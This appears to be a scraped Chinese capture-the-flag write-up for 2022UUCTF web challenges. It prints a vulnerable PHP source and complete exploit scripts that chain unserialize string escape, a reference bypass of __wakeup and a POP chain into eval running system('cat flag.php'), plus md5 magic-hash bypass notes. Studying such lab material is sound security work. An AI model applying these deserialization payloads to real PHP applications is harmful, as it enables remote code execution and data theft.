2022UUCTF--WEB( 三 )


文章插图
输出flag

2022UUCTF--WEB

文章插图
ezpop -- 字符串逃逸打开题目给出的就是源码
//flag in flag.phperror_reporting(0);class UUCTF{public $name,$key,$basedata,$ob;function __construct($str){$this->name=$str;}function __wakeup(){if($this->key==="UUCTF"){$this->ob=unserialize(base64_decode($this->basedata));}else{die("oh!you should learn PHP unserialize String escape!");}}}class output{public $a;function __toString(){$this->a->rce();}}class nothing{public $a;public $b;public $t;function __wakeup(){$this->a="";}function __destruct(){$this->b=$this->t;die($this->a);}}class youwant{public $cmd;function rce(){eval($this->cmd);}}$pdata=https://www.huyubaike.com/biancheng/$_POST["data"];if(isset($pdata)){$data=https://www.huyubaike.com/biancheng/serialize(new UUCTF($pdata));$data_replace=str_replace("hacker","loveuu!",$data);unserialize($data_replace);}else{highlight_file(__FILE__);}?>考点就是字符串逃逸,刚开始直接序列化UUCTF类 , 经过替换之后5字符变6字符 , 我们没有给$this->key直接赋值但是要求是UUCTF才可以继续下去,所以通过字符串逃逸间接给key赋值
if($this->key==="UUCTF"){$this->ob=unserialize(base64_decode($this->basedata));}我们在本地一步一步测试
首先随便输入根据输出构造,测试发现进入了我们的目标
O:5:"UUCTF":4:{s:4:"name";s:"1";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}O:5:"UUCTF":4:{s:4:"name";s:" ";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;} ";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;}【2022UUCTF--WEB】
2022UUCTF--WEB

文章插图
然后构造执行命令的那块POC
class output{public $a;function __toString(){//1、调用目的函数__toString 对象实例被当作字符串处理调用$this->a->rce();}}class nothing{public $a;public $b;public $t;function __wakeup(){$this->a="";}function __destruct(){//2.要绕过__wakeup 但是这里php版本是7.2.34 不能利用多写参数绕过 我们还是利用引用绕过$this->b=$this->t;// 这里返回的是字符串die($this->a);}}class youwant{public $cmd;function rce(){// 终点eval($this->cmd);}}POC
<?phpclass output{public $a;function __construct(){$this->a=new youwant();}}class nothing{public $a;public $b;public $t;function __construct(){$this->a=&$this->b;$this->b='xx';$this->t=new output();}}class youwant{public $cmd;function __construct(){$this->cmd="phpinfo();";}}echo(base64_encode(serialize(new nothing())));将上面两处的构造的结合起来的payload
<?phpclass output{public $a;function __construct(){$this->a=new youwant();}}class nothing{public $a;public $b;public $t;function __construct(){$this->a=&$this->b;$this->b='xx';$this->t=new output();}}class youwant{public $cmd;function __construct(){$this->cmd="phpinfo();";}}$basedata = https://www.huyubaike.com/biancheng/(base64_encode(serialize(new nothing())));$str ='";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';echo $str."\n";$hacker='';for($i=0;$i<strlen($str);$i++){$hacker.='hacker';}$payload = $hacker.$str;echo $payload;执行效果
2022UUCTF--WEB

文章插图
找flag在当前目录的flag.php
<?phpclass output{public $a;function __construct(){$this->a=new youwant();}}class nothing{public $a;public $b;public $t;function __construct(){$this->a=&$this->b;$this->b='xx';$this->t=new output();}}class youwant{public $cmd;function __construct(){$this->cmd="system('cat flag.php');";}}$basedata = https://www.huyubaike.com/biancheng/(base64_encode(serialize(new nothing())));$str ='";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';$hacker='';for($i=0;$i<strlen($str);$i++){$hacker.='hacker';}$payload = $hacker.$str;echo $payload;
2022UUCTF--WEB

文章插图
funmd5--对代码的理解打开题目 直接源码
重点
if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){echo "well!you win again!now flag is yours.<br>";echo $flag;}我们知道$md5[0]==md5($md5[0])绕过可以使用0e215962017,但是还要绕过preg_replace使用%0a,我们审计代码发现,后面有对md5[0]的截取 我们只要保证$sub=1从第一位开始截取,就可以避免%0a , 而且$sub的值是当前时间的最后一位,也就是保证当前的时间为xxxxxxxx1即可

推荐阅读